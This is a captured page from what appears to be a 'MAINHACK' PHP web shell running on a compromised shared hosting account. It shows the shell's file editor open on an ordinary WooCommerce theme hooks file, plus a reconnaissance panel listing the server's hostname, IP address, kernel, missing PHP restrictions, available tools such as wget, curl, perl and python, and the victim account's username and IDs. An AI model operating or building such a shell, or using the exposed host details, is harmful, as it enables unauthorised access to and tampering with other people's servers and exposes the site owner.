[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: woo-hooks.php
<?php /** * @author RadiusTheme * @since 1.0 * @version 1.0 */ /* Theme supports for WooCommerce */ add_action('after_setup_theme', 'rdtheme_wc_support'); /* Header cart count number */ add_filter( 'woocommerce_add_to_cart_fragments', 'rdtheme_header_cart_count' ); /* Breadcrumb */ remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 ); /* Modify responsive smallscreen size */ add_filter( 'woocommerce_style_smallscreen_breakpoint', 'rdtheme_smallscreen_breakpoint' ); /* Shop hide default page title */ add_filter( 'woocommerce_show_page_title', 'rdtheme_wc_hide_page_title' ); /* Shop products per page */ add_filter( 'loop_shop_per_page', 'rdtheme_wc_loop_shop_per_page' ); /* Shop/Archive Wrapper */ remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 ); remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 ); remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 ); add_action( 'woocommerce_before_main_content', 'rdtheme_wc_wrapper_start', 10 ); add_action( 'woocommerce_after_main_content', 'rdtheme_wc_wrapper_end', 10 ); /* Shop top tab */ remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 ); remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); add_action( 'woocommerce_before_shop_loop', 'rdtheme_wc_shop_topbar', 20 ); /* Shop loop */ remove_action( 'woocommerce_before_shop_loop_item', 'woocommerce_template_loop_product_link_open', 10 ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_product_link_close', 5 ); remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 ); remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_show_product_loop_sale_flash', 10 ); remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 ); add_action( 'woocommerce_shop_loop_item_title', 'rdtheme_wc_loop_product_title', 10 ); add_filter( 'loop_shop_columns', 'rdtheme_wc_loop_shop_columns' ); add_action( 'woocommerce_before_shop_loop_item_title', 'rdtheme_wc_shop_thumb_area', 11 ); add_action( 'woocommerce_before_shop_loop_item_title', 'rdtheme_wc_shop_info_wrap_start', 12 ); add_action( 'woocommerce_after_shop_loop_item_title', 'rdtheme_wc_shop_add_description', 12 ); add_action( 'woocommerce_after_shop_loop_item', 'rdtheme_wc_shop_info_wrap_end', 12 ); /* Single Product */ remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 ); add_action( 'woocommerce_single_product_summary', 'rdtheme_wc_render_sku', 15 ); add_action( 'woocommerce_single_product_summary', 'rdtheme_wc_render_meta', 40 ); add_action( 'init', 'rdtheme_wc_show_or_hide_related_products' ); // Hide product data tabs add_filter( 'woocommerce_product_tabs', 'rdtheme_wc_hide_product_data_tab' ); add_filter( 'woocommerce_product_review_comment_form_args', 'rdtheme_wc_product_review_form' ); /* Cart */ remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display' ); remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cart_totals', 10 ); add_action( 'woocommerce_cart_collaterals', 'woocommerce_cart_totals' ); add_action( 'init', 'rdtheme_wc_show_or_hide_cross_sells' ); // Yith Quickview if ( function_exists( 'YITH_WCQV_Frontend' ) ) { remove_action( 'woocommerce_after_shop_loop_item', array( YITH_WCQV_Frontend(), 'yith_add_quick_view_button' ), 15 ); remove_action( 'yith_wcwl_table_after_product_name', array( YITH_WCQV_Frontend(), 'yith_add_quick_view_button' ), 15 ); } /* Yith Wishlist */ if ( function_exists( 'YITH_WCWL_Frontend' ) && class_exists( 'YITH_WCWL_Ajax_Handler' ) ) { $wishlist_init = YITH_WCWL_Frontend(); remove_action( 'wp_head', array( $wishlist_init, 'add_button' ) ); add_action( 'wp_ajax_koncrete_add_to_wishlist', 'koncrete_add_to_wishlist' ); add_action( 'wp_ajax_nopriv_koncrete_add_to_wishlist', 'koncrete_add_to_wishlist' ); } function koncrete_add_to_wishlist() { check_ajax_referer( 'koncrete_wishlist_nonce', 'nonce' ); YITH_WCWL_Ajax_Handler::add_to_wishlist(); wp_die(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154